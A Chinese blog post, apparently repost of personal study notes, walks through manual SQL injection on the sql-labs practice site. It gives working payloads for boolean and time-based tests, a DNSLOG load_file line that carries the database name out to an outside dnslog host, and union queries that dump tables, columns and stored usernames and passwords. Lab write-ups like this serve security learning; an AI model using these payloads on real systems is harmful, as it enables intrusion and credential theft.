Java教程

sql注入(手注)

本文主要是介绍sql注入(手注),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

之前也写过,不过笔记弄丢了,重写,以后有空改改格式吧

以sql-labs第一关为例

1.判断是否存在注入点,判断其是数字型,还是字符型,还是字符串型
预期【and 1=1】 返回和没加上没有变化,【and 1=2】返回数据为空,也就是查不到数据
【and 1=1】 【and 1=2】符合预期,数字型注入
【and 1=1】 【and 1=2】不符合预期,字符型注入
注意:只【and 1=1】或【and 1=2】无法测出其是字符型还是数字型
https://www.freesion.com/article/37631242611/
也有这种情况
【“】:若报错,则看报错,可能是双引号型
【‘】:若报错,则看报错,可能是字符型
也有什么都不返回的(无回显),这个时候可以考虑延迟注入
具体的字段等一个个猜解太麻烦了,所以一般无回显的我会直接用工具
http://www.hackstar.top:8065/Less-9/ ?id=1' and sleep(5) --+
如果是mysql安装在windows系统,可以尝试利用DNSLOG来进行盲注,当构造的恶意sql在数据库执行时,他会去远程请求DNSLOG,
并将一些构造在sql中的比如数据库名等一些敏感信息带到DNSLOG,这样就可以暴库了
为什么需要windows。
load_file函数在Linux下是无法用来做dnslog攻击的,具体原因和UNC路径有关,读取远程文件就要用到UNC路径。
' and if((select load_file(concat('\\\\',(select database()),'.3sacyd.dnslog.cn\\aaa'))),1,1)--+


2.判断字符长度
在链接后面添加语句【 order by 11 (数字任意,大了报错,小了不会报错)】,根据页面返回结果,来判断站点中的字段数目。
http://www.hackstar.top:8065/Less-1/?id=1' order by 3 --+不出错
http://www.hackstar.top:8065/Less-1/?id=1' order by 4 --+出错
所以就是从数据库查了三个字段


3.判断回显字段的位置union
(让数据库查没有的数据and 1=2或者id=-1,直接输出union的数据)
http://www.hackstar.top:8065/Less-1/?id=1' and 1=2 union select 1,2,3 --+
显示
SELECT * FROM users WHERE id= '1' and 1=2 union select 1,2,3 -- ' LIMIT 0,1
Your Login name:2
Your Password:3
可知前端显示的Your Login name为第二个字段,Your Password为第三个字段,第一个字段不回显


4.暴当前表所在的数据库,暴数据库版本
?id=1' and 1=2 union select 1,database(),version()--+


5.查找security数据库下的所有表
?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+


6.查找users表下的所有列
?id=-1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+


7.查找users表username和password的具体数值
?id=1' and 1=2 union select 1,group_concat(username,password),3 from users--+

这篇关于sql注入(手注)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!